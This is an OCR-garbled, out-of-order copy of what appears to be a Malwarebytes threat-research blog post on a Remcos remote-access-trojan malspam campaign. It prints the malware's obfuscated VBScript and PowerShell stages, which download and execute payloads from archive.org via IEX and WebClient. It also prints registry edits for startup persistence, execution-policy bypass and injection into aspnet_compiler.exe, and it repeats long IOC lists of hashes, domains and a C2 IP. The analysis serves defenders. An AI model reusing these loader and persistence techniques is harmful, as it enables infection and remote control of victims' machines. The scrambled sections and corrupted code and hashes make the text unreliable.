ESFGRDHFJGHBRIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXDFXGCHIBHFGFTSRESTRDYFUGY IHUNBYIVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUENBYVUYTCRXEZ XTCYUVBUIN+DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFGVBHGINHBGMFDSFGHIKHNBNGMFCDXFCGVHBINMKHIGFDRSTFGYH
UJ++VFHTTTTTTTTTTTTTTGSRBEGRFCVDHEGBTFNYGTYRDT SETRVDBTFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI+DTHFBTYGNUYBTHVRGCVHTBIY
NGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHINBKNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIOJRTDVFBYUNGHIOJ+ETRCHTVI
YTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCY TUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTETXRCYVUYB
U+ "

RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUF¥I7GI6FUSDY4SYDSUGFI7GOHB7GI6FUSDYDUGFYI 7GUHUGYFTDRSGERHTCIVY
KUBL.Run

FESGRDHTFJGYRFTHRGSEFGRHDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGURHILUGYFTDRSERGDHTF JGUKHLIUG
YFTDRSDHTFYGUH, 0

Although the script above is lengthy due to obfuscation, it ultimately amounts to the following simple powershell command

which downloads and executes a second Visual Basic script:

(CreateObject ("WScript.Shell”)).run powershell IEX New-Object
System.Net.WebClient.Downloadstring( 'https://ia601401.us.archive.org/31/items/all 20210518 202105/ALL.TXT")

The first downloaded script (ALL.TXT) also uses simple deobfuscation techniques to perform a few simple tasks. The

$JUANADEARCO variable in this script contains Base64-encoded data which is decoded by the last line of the script (this

data is shown as decoded in the highlighted box in the image below). This script performs the following actions:
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¢ Creates the directory C:UsersPublicRun

e Downloads Run_02_02_02.TXT (saved as C:UsersPublicRunRun.vbs)

* Downloads Lerveri.txt (saved as UsersPublicRun—Run+++++++++.ps1)

o Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartup to “C:UsersPublicRun”
e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup to “C:UsersPublicRun”

The shell folder registry entries are legacy keys that are still existent for backwards compatibility. Setting the “Startup”
value of these registry entries to the malware’s directory of execution effectively sets the contents of that directory to

execute upon system startup, ensuring persistence.

FUNCTION DAFD5C5B9266824C4EEFCE3EQC69FD3FAR(SD4FD5C5B9266824C4EEFC83ENC69FD3FAAE)
{
$D4FD5C5B9266824C4EEFCBIEOC69FD3IFARX = "Fr"+"omBa"+"se6"+"45tr"+"ing"
$D4FD5C5B9266824C4EEFCBIEOCE9FD3FARG =
[Text.Encoding]::Utf8.GetString( [Convert]::SD4FDSC5B9266824C4EEFCB3E0C69FD3FARx ($DA4FD5C5B9266824C4EEFC83E0C69FD3
FAAE) )
return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
+
S$TYFGYTFFFYTFYTFYTFYT = 'https://ia601502 Jus. archive.org/29 /‘:Ltfﬂs:’Lerveri/Ierverl JEXE'
$JUANADEARCO = 'SFVYTFYTFYFYFYFYPGY="C:\Users\Public\Run"
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr ory" .Replace | "#i####SHaH##HE###E" , "eateDirect ")
$HIUHIUHJIUHUYUUIHYIUIUHI = "HECU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
$GVFHTFYUGRTYUGYFTFYYUH= "HRCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
SJYHGYUGUYGFYTFDTRDTRDFTR = "C:\Us--- -=-=","ers\Publi")
SBFYHGTFYHFHUYGYUBYUYYUYG ="C s ":\Users\Pu")

SFYTFYHJIGTFYTGF6HG = 'C:\U-—-—-mmmmmm ", "sers\Public\Run\Ru"})
SFGYTFHTFUGHUYYGYUG = 'C:\-—-—-—mm—m—— sl'.Replace("-=========o-o= ", "Users\Public\----- Runt++++++++.p")
SYFGYTFHYTFYTFGTRDTRDT = "C:\+++++++++++.psl” .Replace( "+++++4++++44", "Users\Publich—----] Run++++++++4")

[system.io.directory]:: $YGUYGNUHYGUYGYUGYGUYGYUG( SEVYTFYTFYFYFYFYFGY)

start-sleep -s 5

Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup” -Value SJYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup"” -Value $BFYHGTFYHFHUYGYUSYUYYUYG;
start-sleep -s 5

Function vip

{

start-sleep -s 5

if( (New-Object ""N e T°."We B C'l'i'e N T")."DowN 1l oAdFile"
('https://ia601406.us.archive.org/32/items/run-02-02-02/Run_02_02_02.TXT',SFYTFYHJGTFYTGF6HG) ) {
}

start-sleep -s 5

if((New-Object "'N'e T . W e B'C'1l'i"e N T")." Do'wN 1l oA d F il e"(STYFGYTFFFYTFYTFYTFYT,
$SFGYTFHTFUGHUYYGYUG) ) {

}

start-sleep -s 3

powershell -windo 1 -noexit -exec bypass -file $YFGYTFHYTFYTFGTRDTRDT

}

IEX vip'

$HBAR = D4FD5C5B9266824C4EEFC83E(0C69FD3FAA(SJUANADEARCO) ; $Run=($HBAR -Join "')|I'E"X

Run.vbs is obfuscated in a similar fashion to the initial Visual Basic script:

Dim FDGFDHGFJGKUGK

Set FDGFDHGFJGKUGK= CreateObject("WScript.Shell")
HVJHGJYGUGKUGU="po"

HHGJUGLHIUGUGKUG="wers"
KUHIHGKYFUYTFUYUYFU="hell -ExecutionPolicy "

DHYJGKUGKUGFUTYTFUY = " Bypass &"

GFDRYTFUGUTUYURFUTR ="'C:\Users\Public"

DTFYHJGIGIJYGUTRYTFY = "\--—-- Run+++++++++.psl' "

0K =

HVIHGJYGUGKUGU+HHGJUGLHIUGUGKUG+KUHIHGKYFUYTFUYUYFU+DHYJGRUGKUGFUTYTFUY ++GFDRYTFUGUTUYURFUTR+DTFYHIGIGIYGUTRYTFY
o

FDGFDHGFJGKUGK.Run OK,0

This script (deobfuscated below) is responsible only for execution the main powershell script which contains embedded

binaries, encoded in hex in plaintext.

powershell -ExecutionPolicy Bypass & 'C:\Users\Publiel----- Run++++++444.psl
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One of the binaries encoded in —Run+++++++++.ps1 is the Remcos payload which is loaded into the legitimate

Windows binary aspnet_compiler.exe. The following function in the powershell script loads the Remcos PE into the binary:

[Reflection.Assembly]: :Load($H5) .GetType(\ 'VBNET.PE\').GetMethod(\ 'Run\').Invoke($null,[object[]] (
\'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\',$H1))

Although all of the analyzed Remcos samples of this campaign since January 2021 call back to the same IP address and port,
no actual C2 traffic has been observed. All of the script downloads have pointed to addresses on the legitimate website
us.archive.org, and the payloads have connected (though only via TCP handshake) to the IP address 185.19.85[.]168 on port
8888.

Because this IP address has not changed over several months, we investigated the passive DNS records to see if the
infrastructure may have been used in other recent attacks. We found that this IP address had the following resolutions over

the last few months:

Address First Seen Last Seen

shugardaddy.ddns.net 26 May 21

ch-pool-1194.nvpn.to 24 May 21 30 June 21
tippet.duckdns.org 13 May 21 16 May 21
mail.swissauto.top 29 May 20 11 May 21
randyphoenix.hopto.org 4 April 21 14 April 21

Examination of this IP address revealed several hosted services on multiple ports. The highlighted date range above is
interesting as it appears to be a mail server, and Spamhaus Zen classifies this address as blocked due to spam. Furthermore,
analysis also revealed that the #totalhash malware database contains malware associated with this address going back as far
as 2013. Correlating additional malware associated with this address showed several other versions of Remcos samples

connecting to the same IP (many to shugardaddy.ddns.net port 5946) — a few recent samples are shown below:

Date Last
SHA256 Hash
Seen

15cf9daf5bad1a5a78783f675eb63850e216a690e0£3302738ce3bd825babfcl 6Jul 21
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e 5 Jul 21
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a 29 Jun 21
22634cbafla60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cabd 25 Jun 21
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2 25 Jun 21

d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36 21 Jun 21

One identifying factor from this campaign is the use of us.archive.org to host payloads. Although this is not unique to
malware campaigns in general, it is unique to the Remcos campaigns we have analyzed — only the VBS method of

distribution has been observed to display this behavior.

In an analysis from Morphisec in March of this year, an HCrypt loader sample was analyzed that demonstrated a similar
infection chain to the Remcos samples discussed above. Although the stages and scripts are not identical, the intermediary
steps share a few similarities, such as the file names of the downloaded scripts ALL.txt, Server.txt, and in newer samples,
Bypass.txt. The scripts also have a few function names in common, but the HCrypt samples have anti-analysis and anti-virus
evasion functionality not seen in the Remcos samples. Further research is required to determine whether this set of scripts is

a generically available package, or specific to a particular actor and being re-used across campaigns.
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Although the actor or group behind this campaign is not known, the sporadic nature of the emails distributing this malware
suggests that it could be targeted in nature. Remcos is a mature trojan that has evolved over many years; though the basic
capabilities have remained the same, the methodologies of distribution and installation continue to change. Because it is
software that can be purchased openly online, it is difficult to trace or attribute usage to a particular actor. However, given
the consistency of network infrastructure and installation methodology, it is possible that the motivation or actors behind
these attacks could be identified. Malwarebytes analysts continue to monitor and track this threat and will update detections

and indicators as needed.

Protection

Malwarebytes protects users from Remcos by using real-time protection.

@ Ma

It is no longer a threat to your computer

ware automatically quarantined

Type: Malware
Name: Trojan.MalPack.DLF
Path: ..\Tax Returns Assessment Forms to be signe...

References
https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly
https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers

https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service

I0Cs
Analyzed Samples:
Type Name / Subject SHA256
Email Fwd: Appraisal Report for your
673b315a95b8c816502ec0dc3cae79cf14e0d7c09139c2fc4b9202fbC
Subject Loan Application-1100788392210
Attachment  Appraisalreport]1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a
Extracted
S ) Appraisal..vbs 1f8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd:
ample
Remcos VB Scripts:

92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842¢335259f6560
ba4b51ae64c68b32d126322b51b41dce7c300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55¢3fb5e3
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db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffade946add38da873c8ch
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
d2d9b66c9aad0e6ec20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
b61f6b794{38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4f4f4b980e471c5f8f5d0d95bff5a7ec98e3e237718f7fc0d44828cbe33a6

Related Remcos Samples:

Other IOCs:

15cf9daf5bad1a5a78783f675eb63850e216a690e0£3302738ce3bd825babfcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39cel1ef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cabd
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
a80c2e71f7cc69a729035941d13c79fd210290e7{82cefce14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
c55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
59aafb3dd9c6cdb95£f662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
1d969ace725bf5185e64c3cdababl22a3ff4eaafe25f56bd8c1d7b7ba2df0aac
ab4f4ee320b21c1cfde3358a25131476127b9fb1fd5cad9fd03fa2belf4fd0e2
92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
46b1d3c565a615b2df02a567f507a2dc7f75d088fc2b52b1f1elce7a92594175
1a7ceaddf547d47cf7d2d7eda0357d38f489eaeb3b06ea3027ae87df6e5c8195
47287127bcc7bf1502d8b84af3c9050a6b46caade1558ab27a2¢1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7el14aa0d54566e172a81
€06220108f931bb43ecf136844cdfede4b9albbc637b6{f8a3870710e709fe0e
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18¢10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

185.19.85.168
ia601401.us.archive.org
1a601502.us.archive.org
1a601405.us.archive.org
1a601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org

Remcos VB Scripts:
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92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842c335259f6560
ba4b51ae64c68b32d126322b51b41dce7c300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55¢3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffa4e946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463echb8d29766e2d0b200
d2d9b66c9aad0e6ec20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e810
b61f6b794£{38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4f4f4b980e471c5f8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6

Related Remcos Samples:

Other IOCs:

15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13c79fd210290e7{82cefce 14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
59aafb3dd9c6cdb95ff662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
1d969ace725bf5185e64c3c4abab122a3ff4eaafe25f56bd8c1d7b7ba2df0aac
a54f4ee320b21c1cfde3358a25131476127b9fb1fd5cad9fd03fa2be1f4fd0e2
92a7e167629bd14c88a03ef1b6719acd143082¢495972a829f20cc588fd6e084
46b1d3c565a615b2df02a567f507a2dc7f75d088fc2b52b1f1e1ce7a92594175
1a7ceaddf547d47cf7d2d7eda0357d38f489eaeb3b06ea3027ae87df6e5c8195
47287127bcc7bf1502d8b84af3c9050a6b46caa9e1558ab27a2c1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
€06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fe0e
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444a1l
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

185.19.85.168
ia601401.us.archive.org
ia601502.us.archive.org
1a601405.us.archive.org
1a601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
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mail.swissauto.top

randyphoenix.hopto.org

Analyzed Samples:
Type Name / Subject SHA256
Email Fwd: Appraisal Report for your
. o 673b315a95b8c816502ec0dc3cae79cf14e0d7c09139c2fc4b9202fbC
Subject Loan Application-1100788392210

Attachment  Appraisalreportl1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a

Extracted

Sampl Appraisal..vbs 1f8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd:
ample

Remcos VB Scripts:

92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842c335259f6560
ba4b51ae64c68b32d126322b51b41dce7c300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55c3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18¢10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffade946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
d2d9b66c9aad0e6cc20a786a89299a8b4ab5a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
b61f6b794£38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4f4f4b980e471c5f8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6

Related Remcos Samples:

15cf9dafSbad1a5a78783f675eb63850e216a690e0f3302738ce3bd825babfcl
Oea2e136c0604fe2336a37c¢9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39celef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cabd
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
a80c2e71f7cc69a729035941d13c79fd210290e7f82cefcel4ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135€06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fele
109a40435ad446¢7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
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0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

Other IOCs:

185.19.85.168
1a601401.us.archive.org
1a601502.us.archive.org
1a601405.us.archive.org
1a601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org

This blog post was authored by Erika Noerenberg

Introduction

Over the past months, Malwarebytes researchers have been tracking a unique malspam campaign delivering the Remcos
remote access trojan (RAT) via financially-themed emails. Remcos is often delivered via malicious documents or archive
files containing scripts or executables. Like other RATs, Remcos gives the threat actor full control over the infected system
and allows them to capture keystrokes, screenshots, credentials, or other sensitive system information. Unlike most RATs

used by malicious actors however, Remcos is marketed as an administrative tool by the company Breaking Security which

sells it openly on their website.

Distribution

Remcos often infects a system by embedding a specially-crafted settings file into an Office document, allowing an attacker
to trick a user to run malicious code without additional notification. This variant of Remcos has been observed to be
distributed via targeted spam emails with an attached archive file. The emails and attachment names have been primarily

financially-themed; an example email is shown below:

Fwd: Appraisal Report for your Loan Application-1144325779952 - Message (HTML)

Message

Y . Ly
x el el 3 FZ | Create New m 1 Hil P aﬁ . Q
Delete  Reply Reply Forward Move Mark Categorize Follow Translate | Zaom
Al - Unread - up

Delete Respond Quick Steps 5 Move Tags 5 Editing Zoom ~

cbab142 d855b2d7afe7ble29.center 2add675f@80cc189188576¢840.com 1 5/21/2021

Fwd: Appraisal Report for your Loan Application-1144325779952 “

i Appraisalreport!114432.
2KB

[redacted
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For illustration, the following table lists a sample of email subjects and attachment names from 2021 by date:

Date

21

Jan

26
Apr

18
May

28

Jun

6 Jul

Subject

Separate
Remittance
Advice: paper
document no —
9604163

Appraisal Report
for your Loan
Application-
11003354677341

Fwd: Appraisal
Report for your
Loan
Application-
1100788392210

Fwd: Reminder:
Your July
Appointment-
11002214991

Fwd: Reminder:
Your July
Appointment-
11003456773312

Attachment Name

Payment Advice.img

Appraisal.reportl1100335467734.zip

Appraisalreportl1100788392210.zip

transaction_completed11003456773311..zip

transaction_completed11003456773312.zip

Contents

Payment Advice.vbs

Appraisal.vbs
Property.hta*

Appraisal..vbs

Report-Slip.vbs

Report-

11003456773312.vbs

In most Remcos spam campaigns, the payload is an executable contained in an attached archive (.zip) or disk image (.img)

file, though malicious documents are also sometimes used. In this campaign however, the emails contain a zip archive

containing a Visual Basic script (.vbs) which downloads and executes additional scripts and finally installs the Remcos

payload.

*Eariler versions also included a “Property.hta” file which only comprised the VB script wrapped in HTML as seen below.

Interestingly, the body of this HTML consisted only of the text “demo”, which indicates this might have been test code.

http-equiv="Content-Type" content="text/html; charset=utf-8"

language="VBScript"
Window.ReSizeTo @0, @
Window.moveTo -3000,-3000

teObject("WScript.Shell")

W

', '~0"BJECT $v@$voo )

0K = aatbb+cc+dd++ee+gg+kk+" "

ox.Run 0K,@

self.close

Analysis

').Replace('@ $vo0 = 'slil!’ '%','C').R"

$$$$$n% ng'.Replace( 0adStri').Replace('$$$$$$$$$$$", 'ow') ;$vl =

$v9999 = ' (Ne’ SEEEESEEEEEES00( ' 'https://1a601509.us.archive.org/35/items/
'.Replace
-$V0');$TC=I'E ($v9999 -Join '') |I'E'X"
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Remcos is a fully-functioning RAT that gives the threat actor full control over the infected system and allows them to collect
keystrokes, audio, video, screenshots, and system information. Because it has full control, Remcos is also able to download
and execute additional software onto the system. This Remcos distribution utilizes a series of scripts that ultimately results
in the injection of a Remcos payload into the Windows system binary aspnet_compiler.exe. A sample infection chain for

this variant is shown below:

- [
225 !—»E

ishi PS Downloads
P:'m:';:g Zip Attachment VB Script and Exacutes
VB script
B> B> B
_— -_—
Downloaded ':ﬁfgxwe“;ﬁf:: Downloaded  PSDownloads  Embedded PE
VB Script : VB Seript and Executes injected into
VB script VBscript  aspnet_compiler.exe

The samples analyzed below originate from the attachment Appraisalreportl1100788392210.zip (SHA256
4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a13bb23e). As with all analyzed samples, the the
infection chain followed the process flow above; the initial Visual Basic script initiates a series of download and execution

of obfuscated scripts that eventually result in the injection of the final Remcos payload into aspnet_compiler.exe.

Dim
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUF¥I7GI6FUSDY4SYDSUGFI7GOHB7GI6FUSDYDUGFYI 7GUHUGYFTDRSGERHTCIVY
KUBL

Set
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYITGI6FUSDY4SYD5SU6FI7GOHB7GI6FUSDYDUGFYI 7GUHUGY FTDRSGERHTCIVY
KUBL= CreateObject("WScript.Shell”

ESFGRDHFJGHBRIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUKNBYVUYTCRXEZXTCYUVBUIN="p"

DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFGVBHGINHBGMF DSFGHIKHNBNGMFCDXFCGVHBIJNMKHIGFDRSTFGYHUJ = "OWe"
VFHTTTTTTTTTTTTTTGSRBHGRFCVDHGBTFNYGTYRDTSETRVDBTFNYGNFTRT SERDTFYKGUYESRVDTFBYNGHUI ="RsHe"

DTHFBTYGNUYBTHVRGCVHTBJYNGKUHMNYJBTHVRGHCTBIYNHVECSZDGCHINBRNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIO
JRTDVEBYUNGHIOJ = "L"

ETRCHTVIYTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCREEZWEXTRCYUVYBIUYUTYRTETRYCTUVY IUOTIUYTRTET
XRCYVUYBU ="L

$SETRDYTFUYDTRYTUY='DoXRTYTCUVYBUIOINUYVUTCYUVBUIing' .Replace( 'XRTYTCUVYBUIOINUYVUTCYUVBUI', 'wnloadstr'); $SETRTC
YVYBETRYTJUYG =

'WRCYTVYBUYVTCRYCTVUYBIVTCYTent ' .Replace( 'RCYTVYBUYVTCRYCTVUYBIVTCYT', 'ebCli'); $T4RDTHFTJIGJKHL="'ND¥TFUYGIUHYTDRY
TFUYGIUt' .Replace( 'DYTFUYGIUHYTDRYTFUYGIU', 'e');$SETRDYFYGUIHIJ
='https://ia601401.us.archive.org/31/items/all 20210518_202105/ALL.TXT" ; SRTDYUGHIOJ="(NewYEARe'.Replace( 'YEA', '-
Obj');$DYTFYGUHI="ct

System. $T4RDTHFTIGIKHL . § SETRTCYVYBETRYTJUYG) . $SETRDYTFUYDTRYTUY ( SSETRDYFYGUIHIJ) ' ; SRTDYUGIO=I"E X

(SRTDYUGHIOJ, SDYTFYGUHI -Join '')|I'E"X"

FESGRDHTFIGYKFTHRGSEFGREDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHTHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHTF JGUKHLIUG
YFTDRSDHTFYGUH =

ESFGRDHFJGHBRJIGHFGDZGXFHCGJVHKBIJKHVIGHCFGXDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUENBYVUYTCRXEZXTCYUVBUIN+DCGEVHINNGFCSDFGVHIGFCXDGVHINKEGFDFGVBHGINHBGMFDSFGHIKHNBNGMFCDXFCGVHBINMKHIGFDRSTFGYH
UJ+4VEFHTTTTTTTTTTTTT TGSRBEGRFCVDHEGBTFNYGTYRDT SETRVDBTFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI+DTHFBTYGNUYBTHVRGCVHTBI Y
NGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHINBKNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIOJRTDVF BYUNGHIOJ+ETRCHTVI
YTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEEZXTRCY TUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTETXRCYVUYB
v+t "

RWESTRDYTFY¥GUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7TGI6FUSDY4SYDSUGFI7GOHB7GI6FUSDYDUGFYI 7GUHUGYFTDRSGERHTCIVY
KUBL.Run

FESGRDHTFIGYRFTHRGSEFGREDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHTFJGUKHLIUG
